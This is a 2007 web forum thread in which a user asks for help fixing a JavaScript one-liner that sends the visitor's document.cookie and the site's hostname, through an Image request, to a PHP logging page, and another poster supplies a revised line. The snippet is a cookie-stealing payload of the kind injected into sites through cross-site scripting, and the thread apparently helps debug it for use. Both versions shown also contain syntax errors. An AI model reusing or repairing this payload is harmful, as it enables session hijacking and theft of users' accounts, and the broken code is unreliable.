gtal3x Posted December 1, 2007 Share Posted December 1, 2007 hello i have a simple line: var i=new Image();i.src = "index.php?page=do&cookie="+document.cookie"&site="+document.write(location.hostname); and its just doest work... do u know how to fix this? thnx a lot! Quote Link to comment Share on other sites More sharing options...
emehrkay Posted December 1, 2007 Share Posted December 1, 2007 document.write() writes to the document. What are you tyring to do with that part? I am sure if y ou remove that, it will work as expected Quote Link to comment Share on other sites More sharing options...
gtal3x Posted December 2, 2007 Author Share Posted December 2, 2007 yes it does actually work without that, but i need to get the servers hostname is well so basicly the script outputs something like that: index.php?page=do&cookie=some_cookie_here&site=somesite_here.com well maybe the documet write is the wrong option to put there, if you got any other solution pls let me know (note that i wont the server's hostname not the user's) Quote Link to comment Share on other sites More sharing options...
emehrkay Posted December 2, 2007 Share Posted December 2, 2007 var i=new Image();i.src = "index.php?page=do&cookie="+document.cookie"&site="+ocation.hostname; Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.